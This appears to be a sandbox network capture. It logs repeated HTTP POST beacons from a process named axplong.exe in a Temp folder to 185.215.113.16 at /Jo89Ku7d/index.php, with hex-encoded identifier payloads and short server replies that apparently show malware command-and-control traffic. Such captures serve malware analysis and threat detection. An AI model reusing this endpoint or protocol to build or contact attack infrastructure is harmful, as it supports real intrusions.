Sep 27, 2024 17:42:54.861355066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49841	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:54.982584000 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:55.687861919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:55.688625097 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:55.915740967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49845	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:56.026388884 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:56.763569117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:56.764302015 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:57.000869989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49848	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:57.375807047 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:58.039949894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:58.040699005 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:58.272742987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49850	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:58.386059999 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:42:59.085181952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:42:59.086059093 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:42:59.314188004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:42:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49853	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:42:59.436224937 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:00.127280951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:43:00.128468990 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:00.351398945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49856	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:00.465286016 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:01.174545050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:43:01.175760031 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:01.408756018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49858	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:01.526613951 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:02.382951975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:43:02.419157028 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:02.679337978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49860	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:02.810136080 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:03.525504112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:43:03.527072906 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:03.779948950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49863	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:03.909044981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:04.634247065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49865	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:04.644211054 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:05.362236977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49866	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:05.498855114 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:06.245016098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 17:43:06.278886080 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:06.515132904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49868	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:06.659894943 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:07.374871016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49870	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:07.387698889 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:08.150934935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49871	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:08.273228884 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:08.984005928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49873	185.215.113.16	80	2304	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:08.993453979 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:09.713608027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49874	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:09.825216055 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
